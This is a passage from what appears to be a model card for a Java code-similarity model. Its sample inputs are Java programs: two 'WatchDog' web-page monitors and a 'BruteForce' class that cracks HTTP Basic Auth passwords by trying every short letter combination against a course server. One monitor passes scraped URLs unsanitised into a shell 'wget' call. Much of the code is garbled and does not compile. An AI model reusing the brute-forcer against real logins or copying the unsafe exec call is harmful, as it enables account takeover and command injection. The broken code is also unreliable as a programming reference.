createImageTextFile(strWebPageOutputFile02, strPrePend);\n\n                  System.out.println();\n                  System.out.println("Image text file/s");\n                  System.out.println("-----------------");\n\n\n                  if (fileExists(strImageOutputFile01))\n                  {\n                     System.out.println("\'" + strImageOutputFile01 + "\' has been created.");\n                     System.out.println("Images from \'" + strImageOutputFile01 + "\'  now  downloaded using");  \n                     System.out.println("the Unix \'wget\' command:");  \n\n                     downloadImages(strImageOutputFile01);\n                  }\n\n                  if (fileExists(strImageOutputFile02))\n                  {\n                     System.out.println();\n                     System.out.println("\'" + strImageOutputFile02 + "\' has been created.");\n                  }\n\n                  System.out.println();\n\n               }\n\n               else if (fileExists(strWebPageOutputFile01))\n               {\n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile01    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A comparison CANNOT  performed " +\n                                      "with this output file");\n                  System.out.println("because it is the only output file " +\n                                     "in existence.");\n                  System.out.println();\n               }\n\n            }\n\n         }\n\n         catch(Exception e)\n         {\n\n            boolURLisOK = false;\n\n            System.err.println(e);\n         }   \n\n         finally\n         { \n            urlConnection = null;\n            url = null; \n         }\n\n      }\n\n\n      System.out.println();\n\n   }\n\n\n\n\n\n\n\n   static void tidyUpWatchDogFiles()\n   \n   {\n\n         \n         \n\n\n         \n         \n      deleteFile(strWatchDogDiffFile_01_02);\n\n\n         \n         \n      deleteFile(strImageOutputFile01);\n      deleteFile(strImageOutputFile02);\n\n\n      if (fileExists(strWebPageOutputFile01))\n      {\n\n         if (fileExists(strWebPageOutputFile02))\n         {\n               \n               \n               \n               \n               \n            deleteFile(strWebPageOutputFile01);\n            renameFile(strWebPageOutputFile02, strWebPageOutputFile01);\n         }\n\n      }\n\n      else\n      {\n            \n            \n            \n         deleteFile(strWebPageOutputFile02);\n      }\n\n   }\n\n\n\n\n\n\n\n   static void promptForEmailAddresses()\n   \n   {      \n\n\n      BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));\n\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'From\' email address");\n      System.out.println("--------------------");\n      System.out.println("Please enter a \'From\' email address,  press Enter for default");\n      System.out.print("(default: " + strFromEmailDefault + "):  ");\n\n      try\n      {\n         strFromEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strFromEmail == null) || (strFromEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'From\' email address  default :  " + strFromEmailDefault);         \n         strFromEmail = strFromEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'From\' email address is:  " + strFromEmail);         \n      }\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'\' email address");\n      System.out.println("------------------");\n      System.out.println("Please enter a \'\' email address,  press Enter for default");\n      System.out.print("(default: " + strToEmailDefault + "):  ");\n\n      try\n      {\n         strToEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strToEmail == null) || (strToEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'\' email address  default :  " + strToEmailDefault);         \n         strToEmail = strToEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'\' email address is:  " + strToEmail);         \n      }\n\n   }\n\n\n\n\n\n\n\n   static void writeTextToFile(String strText,\n                               String strWriteToThisFileName)\n   \n   {\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         toFile.write(strText);\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static void createDiffFileIfNeeded(String strFileName1, \n                                      String strFileName2)\n   \n   {\n\n\n\n\n\n\n\n\n\n\n\n\n\n         \n         \n\n         \n         \n      try\n      {\n\n         Process p = Runtime.getRuntime().exec("./diff_files.sh");\n         p.waitFor();\t\n\n      }\n\n      catch (Exception e)\n      {\n         System.out.println("Shell script exception");\n         System.out.println("----------------------");\n         System.err.println(e);\n         System.out.println("");\n      }\n\n   }\n\n\n\n\n\n\n\n   static void createImageTextFile(String inputFile, String prePend)\n   \n   {\n\n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n\n      String str;\n      String strImage = "";\n      String strImageArray[];\n      String strInputFromFile = "";\n      String strSearchString = "<img src";\n\n      boolean boolContinue = true;\n\n      int intImageCounter  = 0;\n      int intStartSearch   = 0;\n\n      char ch;\n\n\n\n\n\n      strImageArray = new String[1000];\n\n\n\n         \n         \n      try\n      {\n\n         BufferedReader file =\n              new BufferedReader(new FileReader(inputFile));\n\n\n         while ( (str = file.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         file.print();\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         boolContinue = false;\n         System.err.println(e);       \n      }\t\n\n\n\n      if (boolContinue)\n      {\n\n         strInputFromFile = (strInputFromFile.toLowerCase()).trim();\n\n         intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n\n         while (intStartSearch != -1)\n         {\n\n            intStartSearch += 8;\n\n            while ( (strInputFromFile.charAt(intStartSearch) == \' \')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'=\')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'\\"\')   )\n            {\n               intStartSearch++;          \n            }\n\n            while ((strInputFromFile.charAt(intStartSearch) != \'\\"\'))              \n            {\n\n               ch = strInputFromFile.charAt(intStartSearch);\n\n               strImage += String.valueOf(ch);\n               intStartSearch++;\n\n            }\n\n\n            if (strImage.startsWith("/"))\n               strImage = prePend + strImage;          \n\n\n            intImageCounter++;\n            strImageArray[intImageCounter - 1] = strImage;\n\n            strImage = "";\n\n            intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n         }\n\n\n         if (inputFile.equals(strWebPageOutputFile01))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile01,\n                                 intImageCounter);\n         }\n         else if (inputFile.equals(strWebPageOutputFile02))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile02,\n                                 intImageCounter);\n         }\n\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void downloadImages(String ImageOutputFile)\n   \n   {\n\n      Process p;\n\n      String str;\n      String strFileName;\n\n\n\n      try      \n      {\n\n         BufferedReader file =\n                 new BufferedReader(new FileReader(ImageOutputFile));\n\n\n\n         while ( (str = file.readLine()) != null)\n         {\n\n            strFileName = getImageFileName(str);\n\n            System.out.println("    " + str);\n            System.out.println("             file name:  " + strFileName);                                                           \n\n\n            if (fileExists(strFileName))\n               deleteFile(strFileName);\n\n\n            p = Runtime.getRuntime().exec("wget " + str);\n            p.waitFor();\t\n\n         }\n\n\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         System.err.println("downloadingImages:  " + e);\n      }\n\n   }\n\n\n\n\n\n\n\n   static String getImageFileName(String imageFileName)\n   \n   {\n\n         \n         \n         \n\n      String strFileName;\n\n      int intFileNameLength     = imageFileName.length();      \n      int intStartPosOfFileName = intFileNameLength - 1;\n\n\n\n\n         \n         \n      while ( (intStartPosOfFileName >= 0) && \n              (imageFileName.charAt(intStartPosOfFileName) != \'/\') )\n      {\n         intStartPosOfFileName--; \n      }\n\n\n      strFileName = imageFileName.substring(intStartPosOfFileName + 1, \n                                            intFileNameLength);\n\n\n      return strFileName;\n\n   }\n\n\n\n\n\n\n\n   static void writeTextArrayToFile(String strTextArray[],\n                                    String strWriteToThisFileName,\n                                    int numberOfImages )\n   \n   {\n\n      boolean boolFirstLineWritten = false;\n\n\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         for ( int i = 0 ; i < numberOfImages ; i++ )\n         {\n\n            if (boolFirstLineWritten) \n               toFile.newLine();\n            else\n               boolFirstLineWritten = true;\n  \n\n            toFile.write(strTextArray[i]);\n\n         }\n\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static boolean fileExists(String strFileName)\n   \n   {\n\n      boolean boolReturnValue;\n      File aFile = new File(strFileName);\n\n\n      if (aFile.exists())\n         boolReturnValue = true;\n      else\n         boolReturnValue = false;\n      \n\n      aFile = null;\n\n\n      return boolReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void deleteFile(String strFileName)\n   \n   {\n\n\n      if (fileExists(strFileName))\n      { \n         File aFile = new File(strFileName);\n\n         try\n         {\n            aFile.delete();\n         }\n\n         catch (Exception e)\n         {\n            System.err.println(e);\n         }\n\n\n         aFile = null;\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void renameFile(String strFromFileName, String strToFileName)\n   \n   {\n\n\n      File from = new File(strFromFileName);\n      File to   = new File(strToFileName);\n\n\n      boolean success = from.renameTo();\n\n\n      from = null;\n      to = null;\n\n   }\n\n\n\n\n\n\n\n   static  getFileSize(String strFileName)\n   \n   {\n\n       lngReturnValue;\n\n\n\n      File file = new File(strFileName);\n      \n      lngReturnValue = file.length();\n\n      file = null;\n\n\n      return lngReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void sendMailWithDetectedChanges()\n   \n   {\n\n      String str;\n      String strInputFromFile = null;\n\n\n\n      try \n      { \n\n\n         BufferedReader fromFile =\n              new BufferedReader(new FileReader(strWatchDogDiffFile_01_02));\n\n\n         while ( (str = fromFile.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         fromFile.print();\n         fromFile = null;\n\n\n            \n            \n            \n         SmtpClient smtp = new SmtpClient(); \n\n            \n            \n         smtp.from(strFromEmail); \n\n            \n            \n         smtp.to(strToEmail); \n\n            \n            \n         PrintStream msg = smtp.startMessage(); \n\n            \n            \n         msg.println(": " + strToEmail); \n\n            \n            \n         msg.println("From: " + strFromEmail); \n         msg.println("Subject: Change in website content\\n"); \n         msg.println(strInputFromFile); \n\n            \n            \n            \n         smtp.closeServer(); \n\n      } \n\n      catch (IOException e) \n      {\n         System.err.println(e);     \n      } \n\n   }\n\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass BruteForce {\n\n    String password="";\n\n    int num =401;\n\n\n    public static void main (String[] args) {\n\n      String str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\n      BruteForce URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      \n      if (args.length == 0) {\n      \t\n      \tSystem.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      \treturn;\n      \t\n      \t}\n      String username = args[0];\n      \n\n      t0=System.currentTimeMillis();\n\n      System.out.println ("  " + new Date());\n      \n      System.out.println ("Using BruteForce method  attack "+username+"\'s password.Please waiting.......");\n\n       for (int i=0;i<str.length();i++){\n\n             passwd=str.substring(i,i+1);\n\n             URLcon = new BruteForce (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n\n\n             \tSystem.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n\n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n             for (int j=0;j<str.length();j++){\n\n                passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\n                URLcon = new BruteForce (passwd,username);\n\n                if ((URLcon.num)!=401) {\n\n             \t     t1=System.currentTimeMillis();\n\n                     System.out.println("The password: "+ passwd);\n\n\n                     double dt =t1-t0;\n\n\n\n                     System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                     System.out.println ("Finish  " + new Date());\n             \t return;\n\n                 }\n                for (int m=0;m<str.length();m++){\n\n                  passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\n                  URLcon = new BruteForce (passwd,username);\n\n                  if ((URLcon.num)!=401) {\n\n                 \tt1=System.currentTimeMillis();\n\n                    System.out.println("The password: "+ passwd);\n\n\n             \t    double dt =t1-t0;\n\n\n\n                 \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                    \n                    System.out.println ("Finish  " + new Date());\n                    \n             \t    return;\n\n                  }\n\n\n             }\n\n}\n}\n        System.out.println(" not find the password");\n\n}\n\n   public  BruteForce  (String password, String username){\n\n  \t  String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n\n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n        url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass-VAST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.util.*;\nimport java.text.*;\nimport java.net.*;\nimport java.security.*;\n\n\n\npublic class WatchDog extends Thread\n{\n\n\t\n\tpublic static void main (String args[])\n\t{\n\t    WatchDog watcher = new WatchDog();\n\t    watcher.run();\n\t}\n\n\t\n    public void run()\n    {\n   \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n          twentyFourHours = 24 * 60 * 60 * 1000;\n        \n\n   \t\twriteProgramLog("Program started at " + longTimestamp.format(new Date()));\n        while(true)\n        {\n    \t\twriteProgramLog("Running run at " + longTimestamp.format(new Date()));\n            compare();\n            try\n            {\n                sleep(twentyFourHours);\n            }\n            catch(InterruptedException e)\n            {\n                writeProgramLog("Program terminated at " + longTimestamp.format(new Date()));\n                System.exit(0);\n            }\n        }\n    } \n\n\t\n    private void compare()\n    {\n        \n        \n        \n        String watchDogFile = "watchDogHash_rcroft.";\n        String watchDogPageFile = "watchDogPage_rcroft.html";\n    \n        File watchDogLogFile = new File(watchDogFile);\n        \n        if(!watchDogLogFile.exists())\n        {\n            \n            \n            \n            \n            \n            WebPage targetPage = getPage();\n            if(targetPage.getSuccess())\n            {\n                byte[] newHash = calcHash(targetPage.getPageContents());\n                writeHash(newHash, watchDogFile);\n                writePage(targetPage.getPageContents(), watchDogPageFile);\n            }\n        }\n        else\n        {\n            try\n            {\n                \n                \n                \n                \n                \n                \n                WebPage targetPage = getPage();\n                if(targetPage.getSuccess())\n                {\n                    \n                    byte[] oldHash = new byte[16]; \n                    byte[] newHash = calcHash(targetPage.getPageContents());\n\n                    \n                    DataInputStream inWatchDogFile = new DataInputStream(new FileInputStream(watchDogFile));\n                    inWatchDogFile.readFully(oldHash);\n                    inWatchDogFile.print();\n                    \n                    \n                    \n                    \n                    if(!java.util.Arrays.equals(oldHash, newHash))\n                    {\n                        String differences = enumerateDifferences(watchDogPageFile, targetPage.getPageContents());\n                        mail(differences);\n                        writeHash(newHash, watchDogFile);\n                        writePage(targetPage.getPageContents(), watchDogPageFile);\n                    }\n                }\n            }\n            catch(IOException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }\n        }\n    } \n    \n\n\t\n\tprivate String enumerateDifferences(String oldPageFileName, String newPageData)\n\t{\n\t    String differences = "";\n\t    File newFile = null;\n\n\t    try\n\t    {\n\t      \n\t      \n\t      newFile = File.createTempFile("new", "tmp");\n          String tempFilePath = newFile.getAbsolutePath();\n          DataOutputStream outFile = new DataOutputStream(new FileOutputStream(tempFilePath));\n          outFile.writeBytes(newPageData);\n          outFile.print();\n          \n          \n          String commandLine = "diff " + oldPageFileName + " " + tempFilePath;\n          Process p = Runtime.getRuntime().exec(commandLine);\n          BufferedReader diffs = new BufferedReader(new InputStreamReader(p.getInputStream()));\n          String line;\n          while((line = diffs.readLine()) != null)\n            differences += line + "\\n";\n          diffs.print();\n          newFile.delete();\n\t    }\n\t    catch(IOException e)\n\t    {\n\t        writeProgramLog("Exception: " + e);\n\t    }\n\t    return differences;\n\t}  \n\n\t\n    private void mail(String mailMessage)\n    {\n        \n        Vector emailAddresses = new Vector();\n        String watchDogEmailFile = "watchDogEmail_rcroft.txt";\n\n        \n        File emailFile = new File(watchDogEmailFile);\n        if(emailFile.exists())\n        {\n            try\n            {\n                \n                BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new FileInputStream(watchDogEmailFile)));\n                String line;\n                while ((line = inWatchDogEmailFile.readLine()) != null)\n                {\n                    line = line.trim();\n                    if((line != "") && (line != "\\n"))\n                        emailAddresses.add(line);\n                }\n                inWatchDogEmailFile.print();\n    \t    }\n    \t    catch(FileNotFoundException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n    \t    catch(IOException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n        }\n        else\n        {\n            emailAddresses.add("@yallara.cs.rmit.edu.");\n            emailAddresses.add("[email protected].");\n        }\n                \n        if(emailAddresses.size() > 0) \n        {\n            try\n            {\n                String fromAddress = "From: " + "WatchDog Program ()" + " <" + System.getProperty("user.name") + "@" + InetAddress.getLocalHost().getHostName() + ">";\n        \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n                String subject = "Subject: [SEC project] Notification of target file changes (" + longTimestamp.format(new Date()) +")";\n                for(int i = 0; i < emailAddresses.size(); i++)\n                {\n                    String toAddress = (String) emailAddresses.get(i);\n                    try\n                    {\n                        URL mailURL = new URL("mailto: " + toAddress);\n                        URLConnection mailConnection = mailURL.openConnection();\n                        mailConnection.setDoInput(false);\n                        mailConnection.setDoOutput(true);\n                        mailConnection.connect();\n                        PrintWriter mailWriter = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));\n                        mailWriter.print(": " + toAddress + "\\n");\n                        mailWriter.print(fromAddress + "\\n");\n                        mailWriter.print(subject + "\\n");\n                        mailWriter.print(mailMessage);\n                        mailWriter.print();\n                        writeProgramLog("\\tNotification mailed in this run.");\n                    }\n                    catch(MalformedURLException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                    catch(IOException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                }\n            }\n            catch(UnknownHostException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }  \n        }  \n    } \n    \n\n\t\n    private void writeHash(byte [] newHash, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.write(newHash, 0, newHash.length);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\t\n    private void writePage(String newPage, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.writeBytes(newPage);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\n\t\n    private void writeProgramLog(String comment)\n    {\n        String fileName = "watchDogLog_rcroft.txt";\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName, true));\n            outFile.writeBytes(comment + "\\n");\n            outFile.flush();\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            \n            \n            System.out.println("Exception: " + e);\n        }\n    }  \n\n\t\n    private WebPage getPage()\n    {\n        WebPage tempWebPage = new WebPage();\n        try\n        {\n            \n            \n            \n            String urlName = "http://www.cs.rmit.edu./students/";\n   \t    \tURL targetURL= new URL(urlName);\n           \tHttpURLConnection connection = (HttpURLConnection) targetURL.openConnection();\n        \n            \n            connection.connect();\n            connection.getResponseCode();\n            if(connection.getResponseCode() == 200)\n\t\t    {\n\t\t        String fileContents = "";\n\t\t        BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n                String line;\n    \t\t    while((line = in.readLine()) != null)\n\t\t    \t    fileContents = fileContents + line + "\\n";\n\t\t        in.print();\n\t\t        tempWebPage.setPageContents(fileContents);\n    \t\t    tempWebPage.setSuccess(true);\n    \t\t    connection.disconnect();\n\t        }\n\t        else\n\t\t    {\n    \t\t    writeProgramLog("Failed  connect " + connection.getResponseCode());\n\t\t    } \n        }\n        catch(IOException e)\n        {\n    \t    writeProgramLog("Exception " + e);\n        } \n        return tempWebPage;\n    } \n    \n\t\n    private  byte[] calcHash(String pageContents)\n    {\n        byte[] outHash = null;\n        try\n        {\n            MessageDigest msg = MessageDigest.getInstance("");\n            msg.reset();\n            msg.update(pageContents.getBytes());\n            outHash = msg.digest();\n            msg.reset();\n        }\n        catch(NoSuchAlgorithmException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n        return outHash;\n    } \n        \n} \n',
    '\n\n\n\n \nimport java.io.*;\nimport java.net.*;\nimport java.Runtime;\nimport java.util.*;\nimport java.net.smtp.SmtpClient; \n\n\n\npublic class WatchDog\n\n{\n\n   static String strImageOutputFile01      = "WebPageImages01.txt";\n   static String strImageOutputFile02      = "WebPageImages02.txt";\n\n   static String strWebPageOutputFile01    = "WebPageOutput01.txt";\n   static String strWebPageOutputFile02    = "WebPageOutput02.txt";\n\n   static String strWatchDogDiffFile_01_02 = "WatchDogDiff_01_02.txt";\n\n   static String strFromEmailDefault = "@.rmit.edu.";\n   static String strToEmailDefault   = "@.rmit.edu.";\n\n   static String strFromEmail = null;\n   static String strToEmail   = null;\n\n\n\n\n   public static void main (String args[])\n   \n   {\n\n         \n         \n         \n         \n         \n\n      URL url = null;\n      HttpURLConnection urlConnection;\n      int intContentLength;\n      String strWebPageText = "";\n\n      String strURL     = "http://www.cs.rmit.edu./students/";\n      String strPrePend = "http://www.cs.rmit.edu.";\n\n      boolean boolURLisOK = true;\n\n\n\n\n\n      System.out.println();\n\n\n         \n         \n      tidyUpWatchDogFiles();\n\n\n         \n         \n         \n         \n      promptForEmailAddresses();\n\n\n\n\n      try\n      {\n            \n            \n         url = new URL(strURL);       \n      }\n\n      catch(MalformedURLException e)\n      {\n         System.out.println("ERROR:  invalid URL " + strURL);   \n         System.err.println(e);  \n \n         boolURLisOK = false;\n         url = null;\n      }    \n\n      catch(Exception e)\n      {\n         System.out.println("Exception");   \n         System.err.println(e);  \n      }\n\n\n      System.err.println();  \n\n\n      if (boolURLisOK)\n      {\n         try\n         { \n\n               \n               \n            urlConnection = (HttpURLConnection)url.openConnection();\n\n\n               \n               \n            InputStream urlStream = urlConnection.getInputStream();\n\n\n               \n               \n            int intNumRead = urlStream.print();\n            String strNewContent; \n\n            while (intNumRead != -1)\n            {\n               intNumRead = urlStream.print();\n               if (intNumRead != -1)\n               {\n                  strNewContent = (char)intNumRead + ""; \n                  strWebPageText += strNewContent;\n               }\n            }\n\n            urlStream.print(); \n\n\n\n               \n               \n            if (strWebPageText != null)\n            {\n\n               if (fileExists(strWebPageOutputFile01))\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile02);               \n               }\n\n               else\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile01);               \n               }\n\n\n               if (fileExists(strWebPageOutputFile02))\n               { \n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile02    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A text comparison  NOW  performed " +\n                                      "with the output");\n                  System.out.println("file \'" + strWebPageOutputFile01 + "\'.");\n                  System.out.println();\n\n\n\n                     \n                     \n\n                     \n                     \n                  createDiffFileIfNeeded(strWebPageOutputFile01, \n                                         strWebPageOutputFile02);                  \n\n\n                     \n                     \n                  if (fileExists(strWatchDogDiffFile_01_02))\n                  { \n\n                     System.out.println("Mail  (ordinary text comparison)");\n                     System.out.println("--------------------------------");\n\n                     if (getFileSize(strWatchDogDiffFile_01_02) > 0)\n                     {\n                        sendMailWithDetectedChanges();\n                        System.out.println("Text diff mail has been sent  the \'\' email address.");\n                     }\n                     else\n                     {\n                        System.out.println("The DIFF file has zero length - text diff mail has NOT been sent.");\n                     }\n\n                  }\n\n\n\n                     \n                     \n                  createImageTextFile(strWebPageOutputFile01, strPrePend);\n                  createImageTextFile(strWebPageOutputFile02, strPrePend);\n\n                  System.out.println();\n                  System.out.println("Image text file/s");\n                  System.out.println("-----------------");\n\n\n                  if (fileExists(strImageOutputFile01))\n                  {\n                     System.out.println("\'" + strImageOutputFile01 + "\' has been created.");\n                     System.out.println("Images from \'" + strImageOutputFile01 + "\'  now  downloaded using");  \n                     System.out.println("the Unix \'wget\' command:");  \n\n                     downloadImages(strImageOutputFile01);\n                  }\n\n                  if (fileExists(strImageOutputFile02))\n                  {\n                     System.out.println();\n                     System.out.println("\'" + strImageOutputFile02 + "\' has been created.");\n                  }\n\n                  System.out.println();\n\n               }\n\n               else if (fileExists(strWebPageOutputFile01))\n               {\n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile01    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A comparison CANNOT  performed " +\n                                      "with this output file");\n                  System.out.println("because it is the only output file " +\n                                     "in existence.");\n                  System.out.println();\n               }\n\n            }\n\n         }\n\n         catch(Exception e)\n         {\n\n            boolURLisOK = false;\n\n            System.err.println(e);\n         }   \n\n         finally\n         { \n            urlConnection = null;\n            url = null; \n         }\n\n      }\n\n\n      System.out.println();\n\n   }\n\n\n\n\n\n\n\n   static void tidyUpWatchDogFiles()\n   \n   {\n\n         \n         \n\n\n         \n         \n      deleteFile(strWatchDogDiffFile_01_02);\n\n\n         \n         \n      deleteFile(strImageOutputFile01);\n      deleteFile(strImageOutputFile02);\n\n\n      if (fileExists(strWebPageOutputFile01))\n      {\n\n         if (fileExists(strWebPageOutputFile02))\n         {\n               \n               \n               \n               \n               \n            deleteFile(strWebPageOutputFile01);\n            renameFile(strWebPageOutputFile02, strWebPageOutputFile01);\n         }\n\n      }\n\n      else\n      {\n            \n            \n            \n         deleteFile(strWebPageOutputFile02);\n      }\n\n   }\n\n\n\n\n\n\n\n   static void promptForEmailAddresses()\n   \n   {      \n\n\n      BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));\n\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'From\' email address");\n      System.out.println("--------------------");\n      System.out.println("Please enter a \'From\' email address,  press Enter for default");\n      System.out.print("(default: " + strFromEmailDefault + "):  ");\n\n      try\n      {\n         strFromEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strFromEmail == null) || (strFromEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'From\' email address  default :  " + strFromEmailDefault);         \n         strFromEmail = strFromEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'From\' email address is:  " + strFromEmail);         \n      }\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'\' email address");\n      System.out.println("------------------");\n      System.out.println("Please enter a \'\' email address,  press Enter for default");\n      System.out.print("(default: " + strToEmailDefault + "):  ");\n\n      try\n      {\n         strToEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strToEmail == null) || (strToEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'\' email address  default :  " + strToEmailDefault);         \n         strToEmail = strToEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'\' email address is:  " + strToEmail);         \n      }\n\n   }\n\n\n\n\n\n\n\n   static void writeTextToFile(String strText,\n                               String strWriteToThisFileName)\n   \n   {\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         toFile.write(strText);\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static void createDiffFileIfNeeded(String strFileName1, \n                                      String strFileName2)\n   \n   {\n\n\n\n\n\n\n\n\n\n\n\n\n\n         \n         \n\n         \n         \n      try\n      {\n\n         Process p = Runtime.getRuntime().exec("./diff_files.sh");\n         p.waitFor();\t\n\n      }\n\n      catch (Exception e)\n      {\n         